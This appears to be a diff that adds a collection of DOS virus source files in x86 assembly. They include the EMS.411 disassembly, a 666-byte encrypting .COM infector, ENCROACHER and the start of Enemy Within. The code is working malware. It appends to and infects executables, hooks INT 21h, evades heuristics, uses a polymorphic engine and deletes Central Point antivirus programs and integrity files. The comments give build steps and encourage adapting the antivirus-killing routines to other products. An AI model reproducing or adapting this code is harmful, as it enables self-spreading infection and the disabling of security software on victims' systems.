||||
mov ax,4202h ; scan to end of file
|
||||
xor cx,cx ; xor value of cx to 0
|
||||
cwd ; likewize for dx
|
||||
int 21h ; DX:AX = file size now!
|
||||
|
||||
cmp dx,0 ; is the file < 65,535 bytes?
|
||||
jne close ; way to big, close it up
|
||||
mov cx,word ptr [bp+saved+1] ; move saved+1 into cx
|
||||
add cx,finished-start+3 ; virus size + jump
|
||||
cmp ax,cx ; compare the two
|
||||
jz close ; if equal, close it up
|
||||
|
||||
sub ax,3 ; get jump to virus body size
|
||||
mov word ptr [bp+newjump+1],ax ; write as our new jump
|
||||
|
||||
mov ax,4200h ; point to start of file
|
||||
xor cx,cx ; xor value of cx to 0
|
||||
cwd ; likewize for dx
|
||||
int 21h ; pointing to SOF
|
||||
|
||||
mov ah,40h ; write to file
|
||||
lea dx,[bp+newjump] ; write the jump
|
||||
mov cx,3 ; write three bytes
|
||||
int 21h ; jump is written
|
||||
|
||||
mov ax,4202h ; point to end of file
|
||||
xor cx,cx ; xor value of cx to 0
|
||||
cwd ; likewize for dx
|
||||
int 21h ; pointing to EOF
|
||||
|
||||
mov ah,40h ; write to file
|
||||
lea dx,[bp+start] ; from the start of virus
|
||||
mov cx,finished-start ; # of bytes to write
|
||||
int 21h ; write them now
|
||||
|
||||
close: mov ax,5701h ; set time / date stamps
|
||||
pop dx ; restore the date
|
||||
pop cx ; restore the time
|
||||
int 21h ; time / date restored
|
||||
|
||||
mov ah,3eh ; close up the file
|
||||
int 21h ; file is closed
|
||||
|
||||
mov ax,4301h ; set file attributes
|
||||
pop dx ; restore the file handle
|
||||
pop cx ; restore the attributes
|
||||
int 21h ; attributes restored
|
||||
|
||||
abort: jmp exit ; point to original ISR
|
||||
|
||||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
|
||||
|
||||
saved db 0cdh,20h,0 ; our saved bytes
|
||||
newjump db 0e9h,0,0 ; the soon to be jump
|
||||
finished: ; end of the virus
|
||||
code ends ; end code segment
|
||||
end blank ; end / where to start
|
||||
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; --> Angels Are Just Assassins Of God, One Wing Always Dipped In Blood <-- ;
|
||||
; ------------------------------------------------------------------------- ;
|
|
@ -0,0 +1,214 @@
|
|||
; EMS.411 Virus
|
||||
; Dissassembly by Vecna/29A
|
||||
.model tiny
|
||||
.code
|
||||
.386p
|
||||
org 0
|
||||
VirusStart:
|
||||
jmp RealStart ; jump to real start of virus
|
||||
HostCode:
|
||||
int 20h ; code of the start of the host is
|
||||
nop ; stored here
|
||||
EMM db 'EMMXXXX0'
|
||||
InfectJump:
|
||||
db 0e9h ; this jump is written to begin
|
||||
WhereIAm dw 0 ; of file
|
||||
LowMemCode:
|
||||
pushf
|
||||
cmp byte ptr cs:[InUse-LowMemCode], 0
|
||||
jnz Int21InUse ; if we're using int21, the bit is set
|
||||
pusha
|
||||
mov ax, 4400h
|
||||
xor bx, bx
|
||||
mov dx, cs:[Page_-LowMemCode]
|
||||
int 67h ; map our page
|
||||
popa
|
||||
popf
|
||||
db 09ah ; call our int21 handler in the EMS
|
||||
dw offset Int21Handler
|
||||
PageFrame dw 0000h
|
||||
pusha
|
||||
pushf
|
||||
mov ax, 4400h
|
||||
mov bx, 0FFFFh
|
||||
mov dx, cs:[Page_-LowMemCode]
|
||||
int 67h ; unmap out page
|
||||
mov bp, sp
|
||||
mov ax, [bp+0] ; get flag status after exec
|
||||
mov [bp+16h], ax ; and put in the caller stack
|
||||
popf
|
||||
popa
|
||||
iret
|
||||
Page_ dw 0 ; number of our page
|
||||
InUse db 0 ; this byte is set if we are using
|
||||
; the int21
|
||||
Int21InUse:
|
||||
popf
|
||||
db 0EAh ; jump to real int21
|
||||
Old21:
|
||||
dd 0
|
||||
Int21Handler:
|
||||
pushf
|
||||
xchg ax, dx ; anti-heuristic
|
||||
cmp dx, 4B00h
|
||||
jz Infect ; infect on execute only
|
||||
xchg ax, dx
|
||||
call dword ptr cs:[Old21] ; do real call
|
||||
retf
|
||||
Infect:
|
||||
popf
|
||||
call ToggleFlag ; set flag warning we using int 21
|
||||
xchg ax, dx
|
||||
push ds
|
||||
push dx
|
||||
pushf
|
||||
call dword ptr cs:[Old21] ; execute original function first
|
||||
pushf
|
||||
pusha
|
||||
push ds
|
||||
mov bp, sp
|
||||
lds dx, [bp+14h] ; load DS:DX from the saved copy in
|
||||
mov ax, 3D02h ; the stack, and open the file R/W
|
||||
int 21h
|
||||
xchg ax, bx
|
||||
mov ah, 3Fh
|
||||
mov cx, 3
|
||||
push cs
|
||||
pop ds
|
||||
mov dx, offset HostCode ; read 3 bytes from file to our buffer
|
||||
int 21h
|
||||
mov ax, 4202h
|
||||
cwd
|
||||
xor cx, cx
|
||||
int 21h ; seek to the end of the file
|
||||
sub ax, 3 ; sub 3 for the jump
|
||||
push ax
|
||||
sub ax, (offset VEnd-offset VirusStart)
|
||||
cmp ax, word ptr ds:[HostCode+1]; a possible jump in start of file
|
||||
jz AlreadyInfected ; point to same place than we used to
|
||||
mov ax, 'ZM' ; be? If yes, is already infected
|
||||
cmp ax, word ptr ds:[HostCode]
|
||||
jz AlreadyInfected ; file start with MZ (EXE file) ??
|
||||
pop ax
|
||||
mov word ptr ds:[WhereIAm], ax ; save position for jump
|
||||
mov ah, 40h
|
||||
mov cx, (offset VEnd-offset VirusStart)
|
||||
cwd
|
||||
int 21h ; write virus code to end of file
|
||||
mov ax, 4200h
|
||||
xor cx, cx
|
||||
cwd
|
||||
int 21h ; seek to start of file
|
||||
mov ah, 40h
|
||||
mov cx, 3
|
||||
mov dx, offset InfectJump
|
||||
int 21h ; write a jump to virus code
|
||||
jmp short InfectionOk
|
||||
AlreadyInfected:
|
||||
add sp, 2 ; fix the stack
|
||||
InfectionOk:
|
||||
mov ah, 3Eh ; close file
|
||||
int 21h
|
||||
call ToggleFlag ; we're not using int21 anymore
|
||||
pop ds
|
||||
popa
|
||||
push bp
|
||||
mov bp, sp
|
||||
lea sp, [bp+8] ; get returned AX and FLAGS
|
||||
push ax
|
||||
mov ax, [bp+2]
|
||||
push ax
|
||||
popf ; put they in right place
|
||||
pop ax
|
||||
mov bp, [bp+0]
|
||||
retf
|
||||
ToggleFlag:
|
||||
push ax
|
||||
push ds
|
||||
mov ax, 24h ; set flag of int21 in use
|
||||
mov ds, ax
|
||||
xor byte ptr ds:[InUse-offset LowMemCode], 1
|
||||
pop ds
|
||||
pop ax
|
||||
retn
|
||||
RealStart:
|
||||
pusha
|
||||
mov bx, word ptr cs:[101h] ; 101 hold the offset part of the jump
|
||||
add bx, 103h ; that we put in the start of host
|
||||
call Install
|
||||
mov di, si
|
||||
lea si, [bx+3]
|
||||
movsb ; restore old code
|
||||
movsw
|
||||
popa
|
||||
jmp si ; jump to start of file
|
||||
Install:
|
||||
push bx
|
||||
push si
|
||||
push es
|
||||
push ds
|
||||
push bx
|
||||
push bx
|
||||
push ds
|
||||
mov ax, 24h ; check if we are already in 24:0
|
||||
mov ds, ax
|
||||
cmp word ptr ds:[0], 2E9Ch ; PUSHF/CS:
|
||||
pop ds
|
||||
jz AlreadyInstalled
|
||||
lea si, [bx+offset EMM]
|
||||
mov ax, 3567h
|
||||
int 21h ; get segment of EMM386
|
||||
mov di, 0Ah
|
||||
mov cx, 8
|
||||
rep cmpsb ; is really EMM386?
|
||||
jnz AlreadyInstalled
|
||||
mov ah, 42h
|
||||
int 67h ; Number of pages
|
||||
cmp bx, 1
|
||||
jl AlreadyInstalled ; less than 1, abort install
|
||||
mov ah, 41h
|
||||
int 67h ; get page frame
|
||||
pop si
|
||||
mov cs:[si+PageFrame], bx ; save it
|
||||
mov es, bx
|
||||
mov ah, 43h
|
||||
mov bx, 1
|
||||
int 67h ; allocate 1 page
|
||||
mov cs:[si+Page_], dx
|
||||
mov ax, 4400h
|
||||
mov bx, 0
|
||||
int 67h ; map memory
|
||||
mov ax, 3521h
|
||||
int 21h ; get adress of int21
|
||||
mov word ptr cs:[si+Old21], bx ; save it
|
||||
mov word ptr cs:[si+Old21+2], es
|
||||
mov es, cs:[si+offset PageFrame]
|
||||
xor di, di
|
||||
mov cx, 19Bh ; copy our code to our page
|
||||
rep movsb
|
||||
mov ax, 4400h
|
||||
mov bx, 0FFFFh
|
||||
int 67h ; unmap memory
|
||||
mov di, 24h
|
||||
mov bx, di
|
||||
mov es, di
|
||||
xor di, di
|
||||
pop si
|
||||
add si, 11h
|
||||
mov cx, offset Int21Handler-offset LowMemCode
|
||||
rep movsb ; move int21 handler to IVT
|
||||
mov ds, bx
|
||||
xor dx, dx
|
||||
mov ax, 2521h ; point int21 to 24:0
|
||||
int 21h
|
||||
jmp InstalledOk
|
||||
AlreadyInstalled:
|
||||
add sp, 4 ; fix stack if error
|
||||
InstalledOk:
|
||||
pop ds
|
||||
pop es
|
||||
pop si
|
||||
pop bx
|
||||
ret ; return
|
||||
VEnd = $
|
||||
End VirusStart
|
|
@ -0,0 +1,189 @@
|
|||
;This virus encrypts the first 666 bytes of the host
|
||||
;Its based off of the small virus
|
||||
|
||||
CSEG SEGMENT
|
||||
ASSUME CS:CSEG, DS:CSEG
|
||||
|
||||
ORG 100h
|
||||
|
||||
JUMPS
|
||||
|
||||
Virus_Length equ End_Virus-Begin_Virus
|
||||
|
||||
Start:
|
||||
jmp Begin_Virus
|
||||
db 700 dup (90h)
|
||||
|
||||
Begin_Virus:
|
||||
call Delta
|
||||
|
||||
Delta:
|
||||
pop bp
|
||||
sub bp,offset Delta
|
||||
push si
|
||||
push si
|
||||
|
||||
call Crypt
|
||||
|
||||
mov ah,1ah
|
||||
lea dx,[bp+DTA]
|
||||
int 21h
|
||||
|
||||
xor word ptr [bp+OldBytes],0deadh
|
||||
xor word ptr [bp+OldBytes+2],0a55h
|
||||
|
||||
pop di
|
||||
lea si,[bp+OldBytes]
|
||||
movsw
|
||||
movsw
|
||||
|
||||
mov ah,4eh
|
||||
mov cx,7h
|
||||
lea dx,[bp+ComMask]
|
||||
|
||||
Find_Next:
|
||||
call Dec_
|
||||
int 21h
|
||||
call Inc_
|
||||
jc Return
|
||||
|
||||
cmp word ptr [bp+DTA+1ah],1024
|
||||
jb Find_Next_
|
||||
|
||||
mov ax,3d02h
|
||||
lea dx,[bp+DTA+1eh]
|
||||
int 21h
|
||||
|
||||
xchg ax,bx
|
||||
|
||||
mov ah,3fh
|
||||
mov cx,4
|
||||
lea dx,[bp+OldBytes]
|
||||
int 21h
|
||||
|
||||
cmp byte ptr [bp+OldBytes],'M'
|
||||
je Close_Find_Next
|
||||
|
||||
xor word ptr [bp+OldBytes],0deadh
|
||||
xor word ptr [bp+OldBytes+2],0a55h
|
||||
|
||||
call Move_Begin
|
||||
|
||||
mov ah,3fh
|
||||
mov cx,666
|
||||
lea dx,[bp+HostBuffr]
|
||||
push dx
|
||||
int 21h
|
||||
|
||||
mov ah,2ch
|
||||
int 21h
|
||||
mov word ptr [bp+Key],dx
|
||||
|
||||
pop si
|
||||
|
||||
call Crypt
|
||||
call Move_Begin
|
||||
|
||||
mov ah,40h
|
||||
mov cx,666
|
||||
lea dx,[bp+HostBuffr]
|
||||
int 21h
|
||||
|
||||
mov ax,4202h
|
||||
call Move_Fp
|
||||
|
||||
sub ax,4
|
||||
mov word ptr [bp+NewBytes+2],ax
|
||||
|
||||
mov ah,40h
|
||||
mov cx,Virus_Length
|
||||
lea dx,[bp+Begin_Virus]
|
||||
int 21h
|
||||
|
||||
mov ax,4200h
|
||||
call Move_Begin
|
||||
|
||||
mov ah,40h
|
||||
mov cx,4
|
||||
lea dx,[bp+NewBytes]
|
||||
int 21h
|
||||
|
||||
Close_Find_Next:
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
|
||||
Find_Next_:
|
||||
mov ah,4fh
|
||||
jmp Find_Next
|
||||
|
||||
Dec_:
|
||||
mov cx,5
|
||||
lea si,[bp+ComMask]
|
||||
mov di,si
|
||||
Dec_Loop:
|
||||
lodsb
|
||||
dec al
|
||||
stosb
|
||||
loop Dec_Loop
|
||||
xor al,al
|
||||
stosb
|
||||
ret
|
||||
|
||||
Inc_:
|
||||
mov cx,5
|
||||
lea si,[bp+ComMask]
|
||||
mov di,si
|
||||
Inc_Loop:
|
||||
lodsb
|
||||
inc al
|
||||
stosb
|
||||
loop Inc_Loop
|
||||
mov al,"6"
|
||||
stosb
|
||||
ret
|
||||
|
||||
;ComMask db "*.COM",0
|
||||
ComMask db "+/DPN6"
|
||||
NewBytes db "M",0e9h,0,0
|
||||
;OldBytes db 0cdh,20h,0,0
|
||||
OldBytes dw 0fe60h
|
||||
dw 0a55h
|
||||
|
||||
Move_Begin:
|
||||
mov ax,4200h
|
||||
|
||||
Move_Fp:
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h
|
||||
ret
|
||||
|
||||
Return:
|
||||
mov ah,1ah
|
||||
mov dx,80h
|
||||
int 21h
|
||||
ret
|
||||
|
||||
Crypt:
|
||||
push bx
|
||||
mov cl,4
|
||||
mov dx,word ptr [bp+Key]
|
||||
ror dx,cl
|
||||
mov cx,333
|
||||
mov di,si
|
||||
Xor_Loop:
|
||||
lodsw
|
||||
xor ax,dx
|
||||
stosw
|
||||
loop Xor_Loop
|
||||
pop bx
|
||||
ret
|
||||
|
||||
Key dw 0000h
|
||||
|
||||
End_Virus:
|
||||
DTA db 42 dup (?)
|
||||
HostBuffr db 666 dup (?)
|
||||
|
||||
CSEG ENDS
|
||||
END START
|
|
@ -0,0 +1,338 @@
|
|||
;***************************************************************************
|
||||
; The ENCROACHER virus: Incorporating anti-virus software countermeasures
|
||||
; to aid in gaining and maintaining a foothold on a CENTRAL POINT ANTIVIRUS
|
||||
; protected system. Some of the ideas in ENCROACHER were inspired by Mark
|
||||
; Ludwig's RETALIATOR virus (American Eagle Publishing) and Nowhere Man's
|
||||
; VCL 1.0 viral assembly code library. ENCROACHER also utilizes the Mutation
|
||||
; Engine for polymorphism. Edited by URNST KOUCH for Crypt Newsletter #8.
|
||||
;
|
||||
; 1. Assemble with TASM 2.5 with the aid of MAKE.BAT, included in issue #8.
|
||||
; 2. The reader must also have the MtE091b object files (not included in
|
||||
; the newsletter but commonly available as the Mutation Engine at most
|
||||
; good virus info archive sites.)
|
||||
; 3. Place all files in ENCROACHER assembly directory.
|
||||
; 4. Execute MAKE.BAT with TASM 2.5 and TLINK.EXE in path.
|
||||
;
|
||||
; ENCROACHER is a simple .COM appending virus which strikes the Central Point
|
||||
; Anti-virus software in a direct manner. CPAV stores a file called
|
||||
; chklist.cps in every directory that contains executable programs. This file
|
||||
; contains the integrity (or checksum) data on each program in that
|
||||
; directory. It is the library file that CPAV refers to when scanning for
|
||||
; unknown viruses. By comparing 'newly checksummed' files with its data
|
||||
; in chklist.cps, CPAV locates change, corruption or generic virus infection.
|
||||
; Eliminating these files before virus infection forces Central Point
|
||||
; Antivirus to create new 'checklist' data for the directory, AFTER the
|
||||
; virus has acted. Therefore, the virus-infected file becomes
|
||||
; a legal part of Central Point's freshly calculated integrity data.
|
||||
; Upon call, ENCROACHER will ALWAYS check for and erase these files, forcing
|
||||
; the anti-virus software to constantly update its data, effectively
|
||||
; making this feature unreliable. In my experience,
|
||||
; the CPAV software does not protest the elimination of these files in an
|
||||
; appropriate manner.
|
||||
;
|
||||
; ENCROACHER will also attempt to erase the main CENTRAL POINT A-V program
|
||||
; in its default installation directory before infection. This is a
|
||||
; direct attack and is more likely to be noticed than the
|
||||
; disappearance and reappearance of dozens of very small chklist.cps
|
||||
; files. Because it is a strong move, one can be of mixed mind about using it.
|
||||
; An alert user SHOULD recognize something wrong almost immediately.
|
||||
; However, it is included to illustrate the point that while it presumes
|
||||
; apriori knowledge concerning the location of CPAV software on the system,
|
||||
; many users can STILL be expected to be lazy (and/or stupid) and use the
|
||||
; vulnerable shrink-wrapped software recommendations for installation.
|
||||
;
|
||||
; ENCROACHER will also target and delete VSAFE.COM, CPAV's most powerful
|
||||
; program for the detection of virus-mediated opening, closing and writing
|
||||
; to files. (The CPAV software also contains VSAFE as a device, VSAFE.SYS.
|
||||
; The user may add attack of this component to the source code if he wishes.)
|
||||
; If Central Point's DEFAULT installation is in place and VSAFE is in
|
||||
; memory, ENCROACHER will remove it since, generally, the program
|
||||
; is merely configured to scan for known viruses, add chklist.cps files
|
||||
; to program directories and lock out writes to the boot record. If all
|
||||
; of VSAFE's features are enabled, ENCROACHER WILL BE detected when it
|
||||
; attempts to destroy VSAFE. However, since these VSAFE features are
|
||||
; not practical for everyday computing needs, it can be
|
||||
; assumed relatively safe to disregard them as a threat to ENCROACHER. (The
|
||||
; reader is invited to add a routine which will make a call to VSAFE
|
||||
; if in memory. If VSAFE is resident, the routine could be written to
|
||||
; instruct the virus to go to sleep until the danger is past.)
|
||||
;
|
||||
; Central Point Anti-virus contains a third program known as VWATCH. It
|
||||
; can be safely ignored by ENCROACHER.
|
||||
;
|
||||
; ENCROACHER's anti-virus software countermeasures can be quickly adapted
|
||||
; to almost any commercial software of choice. Access to manuals or
|
||||
; copies of the Norton Antivirus, Fifth Generation's Untouchable or
|
||||
; Leprechaun Software's Virus-Buster have all the information needed to
|
||||
; allow the homebrew researcher to reconfigure the virus so that it can
|
||||
; attack these programs in an educated manner.
|
||||
;
|
||||
; ENCROACHER2 is a variant of ENCROACHER supplied as a DEBUG script.
|
||||
; In addition to it's anti- CPAV capability, ENCROACHER2 will poison selected
|
||||
; programs sometime in the evening hours.
|
||||
;
|
||||
; General features: ENCROACHER will infect all .COM programs in its current
|
||||
; directory. When finished, it will jump to the root of the current directory
|
||||
; and continue its work.
|
||||
; ENCROACHER WILL NOT restore the DTA, producing a shift at the prompt.
|
||||
; (Sorry, deadline was approaching for the newsletter and I had to get this
|
||||
; baby to bed.)
|
||||
;
|
||||
; ENCROACHER has no problem infecting COMMAND.COM or NDOS.COM! The operating
|
||||
; system WILL continue to load properly. ENCROACHER quickly deletes
|
||||
; Central Point software programs on start-up. There is no noticeable
|
||||
; delay in infection times between it and a copy of the virus lacking
|
||||
; these features.
|
||||
; ENCROACHER will quickly infect down the trunk of any directory structure.
|
||||
;
|
||||
; Keep in mind, that ENCROACHER 2 can be frustratingly destructive once
|
||||
; it has spread out onto a system.
|
||||
|
||||
|
||||
.model tiny
|
||||
.radix 16
|
||||
.code
|
||||
|
||||
extrn mut_engine: near, rnd_get: near, rnd_init: near
|
||||
extrn rnd_buf: word, data_top: near
|
||||
|
||||
org 100h
|
||||
|
||||
start:
|
||||
call locadr
|
||||
reladr:
|
||||
db 'ENCROACHER is here'
|
||||
|
||||
locadr:
|
||||
pop dx
|
||||
mov cl,4
|
||||
shr dx,cl
|
||||
sub dx,10
|
||||
mov cx,ds
|
||||
add cx,dx ;Calculate new CS
|
||||
mov dx,offset begin
|
||||
push cx dx
|
||||
retf
|
||||
begin:
|
||||
cld
|
||||
mov di,offset start
|
||||
push es di
|
||||
push cs
|
||||
pop ds
|
||||
mov si,offset old_cod
|
||||
movsb ;Restore first 3 bytes
|
||||
movsw
|
||||
push ax
|
||||
mov dx,offset dta_buf ;Set DTA
|
||||
mov ah,1a
|
||||
int 21
|
||||
mov ax,3524 ;Hook INT 24
|
||||
int 21
|
||||
push es bx
|
||||
mov dx,offset fail_err
|
||||
mov ax,2524
|
||||
int 21
|
||||
killcps: ; clear CPS integrity files from startup directory
|
||||
mov dx,offset killfile ; DX points to data mask: chklist.cps
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; All file attributes valid
|
||||
int 021h
|
||||
jc erase_done ; Exit procedure on failure
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
lea dx,[bx + 01Eh] ; DX points to filename in DTA
|
||||
erase_loop:
|
||||
mov ah,041h ; DOS delete file function
|
||||
int 021h
|
||||
mov ah,03Ch ; DOS create file function
|
||||
xor cx,cx ; No attributes for new file
|
||||
int 021h
|
||||
mov ah,041h ; DOS delete file function
|
||||
int 021h
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
int 021h
|
||||
jnc erase_loop ; Repeat until no files left
|
||||
erase_done:
|
||||
|
||||
|
||||
jmp killcpav ; chklist.cps gone, go for CPAV.EXE
|
||||
; in factory installation
|
||||
|
||||
|
||||
killcpav: ; clear CPAV master executable from default directory
|
||||
mov dx,offset killfile2 ; DX points to filename
|
||||
mov ah,41h ; DOS erase file function
|
||||
int 21h
|
||||
jc killvsafe
|
||||
|
||||
killvsafe:
|
||||
mov dx,offset killfile3
|
||||
mov ah,41h
|
||||
int 21h
|
||||
jc erase_done2
|
||||
|
||||
erase_done2:
|
||||
jmp getonwithit
|
||||
|
||||
getonwithit: ;get on with infecting files
|
||||
xor ax,ax ;Initialize random number generator
|
||||
mov [rnd_buf],ax ;for Mutation Engine use
|
||||
call rnd_init
|
||||
push sp
|
||||
pop cx
|
||||
sub cx,sp
|
||||
add cx,4
|
||||
push cx
|
||||
|
||||
find_lup1:
|
||||
mov dx,offset srchnam ;COMfile mask for clean file search
|
||||
mov cl,3
|
||||
mov ah,4e ;find a file
|
||||
|
||||
find_lup2:
|
||||
int 21 ;Find the next COM file
|
||||
jc ch_dir ;if no files or no uninfected files in current dir, change to root
|
||||
cmp [dta_buf+1a],ch
|
||||
jnz infect ;If not infected, infect it now
|
||||
pop cx
|
||||
find_nxt:
|
||||
push cx
|
||||
mov dx,offset dta_buf
|
||||
mov ah,4f ;found an infected file, find another
|
||||
jmp find_lup2
|
||||
|
||||
ch_dir:
|
||||
mov dx,offset dotdot
|
||||
mov ah,3bh ; Change directory to root of current
|
||||
int 21h
|
||||
jnc find_lup1 ; Carry set if in root
|
||||
; loop to search for clean files
|
||||
infect_done:
|
||||
pop cx
|
||||
loop find_nxt
|
||||
jnc exit2
|
||||
call rnd_get ;extraneous garbage code
|
||||
test al,1 ; " " "
|
||||
jz exit2 ; " " "
|
||||
|
||||
exit1: popf ;return control and get set to clean up
|
||||
|
||||
exit2:
|
||||
pop dx ds
|
||||
mov ax,2524 ;Restore old INT 24
|
||||
int 21
|
||||
push ss
|
||||
pop ds
|
||||
mov dx,80 ;Restore DTA
|
||||
mov ah,1a
|
||||
int 21
|
||||
push ds ;Exit to host program
|
||||
pop es
|
||||
pop ax
|
||||
retf
|
||||
infect:
|
||||
xor cx,cx ;Reset read-only attribute
|
||||
mov dx,offset dta_buf+1e
|
||||
mov ax,4301
|
||||
int 21
|
||||
jc infect_done ;if fail, get set to leave
|
||||
mov ax,3d02 ;Open the file
|
||||
int 21
|
||||
jc infect_done ;if fail, get set to leave
|
||||
xchg ax,bx
|
||||
mov dx,offset old_cod ;Read first 3 bytes
|
||||
mov cx,3
|
||||
mov ah,3f
|
||||
int 21
|
||||
jc read_done ;file already infected, skip it
|
||||
mov ax,word ptr [old_cod] ;Make sure it's not an EXE file
|
||||
cmp ax,'ZM'
|
||||
jz read_done ;if it is, skip it
|
||||
cmp ax,'MZ'
|
||||
jz read_done
|
||||
xor cx,cx ;Seek to end of file
|
||||
xor dx,dx
|
||||
mov ax,4202
|
||||
int 21
|
||||
test dx,dx ;Make sure the file is not too big
|
||||
jnz read_done
|
||||
cmp ax,-2000
|
||||
jnc read_done
|
||||
mov bp,ax
|
||||
sub ax,3
|
||||
mov word ptr [new_cod+1],ax
|
||||
mov ax,5700 ;Save file's date/time
|
||||
int 21
|
||||
push dx cx
|
||||
mov ax,offset data_top+0f
|
||||
mov cl,4 ;Now call the Mutation Engine
|
||||
shr ax,cl
|
||||
mov cx,cs
|
||||
add ax,cx
|
||||
mov es,ax
|
||||
mov dx,offset start ;dx points to start of ENCROACHER
|
||||
mov cx,offset _DATA ;cx contains ENCROACHER length
|
||||
push bp bx
|
||||
add bp,dx ;bp contains address where MtE hands control to ENCROACH
|
||||
xor si,si ;si=0, MtE required value
|
||||
xor di,di ;di=0, MtE required value
|
||||
mov bl,0f ;bl=0f,MtE 'medium' model required
|
||||
mov ax,101 ;set bit-field in ax, MtE values
|
||||
call mut_engine
|
||||
pop bx ax
|
||||
add ax,cx ;Make sure file length mod 256 = 0
|
||||
neg ax
|
||||
xor ah,ah
|
||||
add cx,ax
|
||||
mov ah,40 ;Put the virus into the file
|
||||
int 21
|
||||
push cs
|
||||
pop ds
|
||||
sub cx,ax
|
||||
xor dx,dx ;Write the JMP instruction
|
||||
mov ax,4200
|
||||
int 21
|
||||
mov dx,offset new_cod
|
||||
mov cx,3
|
||||
mov ah,40
|
||||
int 21
|
||||
write_done:
|
||||
pop cx dx ;Restore file's date/time
|
||||
mov ax,5701
|
||||
int 21
|
||||
jmp read_done2
|
||||
|
||||
read_done:
|
||||
mov ah,3e ;Close the file
|
||||
int 21
|
||||
jmp infect_done ;in this case, no infection so
|
||||
;try for another search
|
||||
read_done2:
|
||||
mov ah,3e
|
||||
int 21
|
||||
jmp exit1 ;successfully infected file,
|
||||
;jump to host execution
|
||||
fail_err: ;Critical error handler
|
||||
mov al,3 ;protects ENCROACHER from exposing
|
||||
iret ;itself on a write-protected disk
|
||||
;or diskette
|
||||
|
||||
srchnam db '*.COM',0
|
||||
killfile db 'CHKLIST.CPS',0 ;CPAV file integrity data archive
|
||||
killfile2 db 'C:\CPAV\CPAV.EXE',0 ;default location and name of
|
||||
;CPAV master program
|
||||
killfile3 db 'C:\CPAV\VSAFE.COM',0 ;CPAV r/w resident protection program
|
||||
|
||||
old_cod: ;Buffer to read first 3 bytes
|
||||
ret
|
||||
dw ?
|
||||
|
||||
new_cod: ;Buffer to write first 3 bytes
|
||||
jmp $+100
|
||||
|
||||
.data
|
||||
|
||||
dotdot db '..',0 ;change directory trick
|
||||
dta_buf db 2bh dup(?) ;Buffer for DTA
|
||||
|
||||
end start
|
|
@ -0,0 +1,437 @@
|
|||
; [Enemy Within] v1.00 by Crypt Keeper -Phalcon/Skism-
|
||||
;
|
||||
; Enemy Within is a memory resident virus that infects EXE and overlay files
|
||||
; with directory size increases hidden. I'll be using this as a base for
|
||||
; future more advanced viruses.
|
||||
;
|
||||
; Enemy Within infects EXEs and overlays on file Open, Get/Set
|
||||
; attributes, and execute.
|
||||
;
|
||||
; TASM ENEMY.ASM /M3
|
||||
; TLINK ENEMY.OBJ /t
|
||||
; .COM file can be executed with no modifications
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
org 100h ;make this a com file
|
||||
|
||||
enemy_within:
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
vlength equ vbot-offset(enemy_within) ;Virus length in bytes
|
||||
heapsiz equ hbot-htop ;size of heap data in bytes
|
||||
ressize equ 1024/16 ;Virus size resident
|
||||
virusid equ 08AC5h ;Virus ID word in EXE header
|
||||
chkfunc equ 0FFFEh ;Check resident function for int 21h
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
push ds es ;save startup registers
|
||||
|
||||
db 0BDh ;mov bp,
|
||||
delta dw 0 ;delta offset
|
||||
|
||||
xor ax,ax
|
||||
dec ax
|
||||
dec ax ;AX=FFFE (check resident function)
|
||||
int 21h ;check if virus is resident
|
||||
|
||||
inc ax ;is virus resident (zero if yes)
|
||||
jz return ;if so, don't install
|
||||
|
||||
;Microsoft Windows/Desqview compatable load resident routine
|
||||
install:
|
||||
mov bx,ressize ;amount of memory to request
|
||||
mov ah,48h ;allocate memory
|
||||
int 21h
|
||||
|
||||
jc not_enough_memory ;carry set means allocation error
|
||||
|
||||
mov es,ax ;ax=segment of allocated memory
|
||||
|
||||
dec ax
|
||||
mov ds,ax ;segment of MCB for memory
|
||||
mov word ptr ds:[01h],08h ;set memory block as independant
|
||||
jmp short memory_allocation_complete
|
||||
not_enough_memory:
|
||||
pop ax
|
||||
push ax ;get PSP value off stack
|
||||
mov es,ax ;ES=PSP for set memory block size
|
||||
dec ax
|
||||
mov ds,ax ;get segment of this program's MCB
|
||||
|
||||
mov bx,word ptr ds:[03h] ;get size of current block
|
||||
dec bx ;decrease size of memory block
|
||||
|
||||
mov ah,4Ah ;set memory block size
|
||||
int 21h
|
||||
|
||||
jc return ;return if allocation error
|
||||
jmp short install ;try to allocate again
|
||||
memory_allocation_complete:
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
push es ;save found target segment
|
||||
|
||||
mov ax,3521h ;get int 21h vector
|
||||
int 21h
|
||||
|
||||
mov [bp+offset(i21vecs)],es
|
||||
mov [bp+offset(i21veco)],bx
|
||||
|
||||
pop es
|
||||
|
||||
mov cx,(vlength+heapsiz+1)/2 ;words to move
|
||||
mov di,100h ;destination in memory
|
||||
lea si,[bp+offset(enemy_within)] ;source of viral code
|
||||
|
||||
rep movsw ;copy ourselves up there
|
||||
|
||||
push es
|
||||
pop ds ;segment to set int vector
|
||||
mov dx,offset(i21vec) ;int 21h vector
|
||||
|
||||
mov ax,2621h ;set int 21h vector
|
||||
dec ah ;without setting off mem resident
|
||||
int 21h ;code heuristic flags
|
||||
|
||||
return: pop bx ;segment of PSP
|
||||
mov es,bx
|
||||
|
||||
add bx,16 ;compensate for PSP size
|
||||
add cs:[bp+offset(old_cs)],bx ;add PSP to initial CS
|
||||
|
||||
pop ds ;restore old DS register
|
||||
|
||||
cli ;clear interrupt enable flag
|
||||
mov ax,cs:[bp+offset(old_ss)] ;old SS register
|
||||
add ax,bx ;add PSP adress
|
||||
mov ss,ax
|
||||
db 0BCh ;mov sp,
|
||||
old_sp dw 0 ;old stack pointer
|
||||
sti ;set interrupt enable flag
|
||||
|
||||
jmp dword ptr cs:[bp+offset(old_ip)] ;jump to original EXE code
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
vname db '[Enemy Within] Crypt Keeper - Phalcon/Skism'
|
||||
|
||||
old_ip dw 0
|
||||
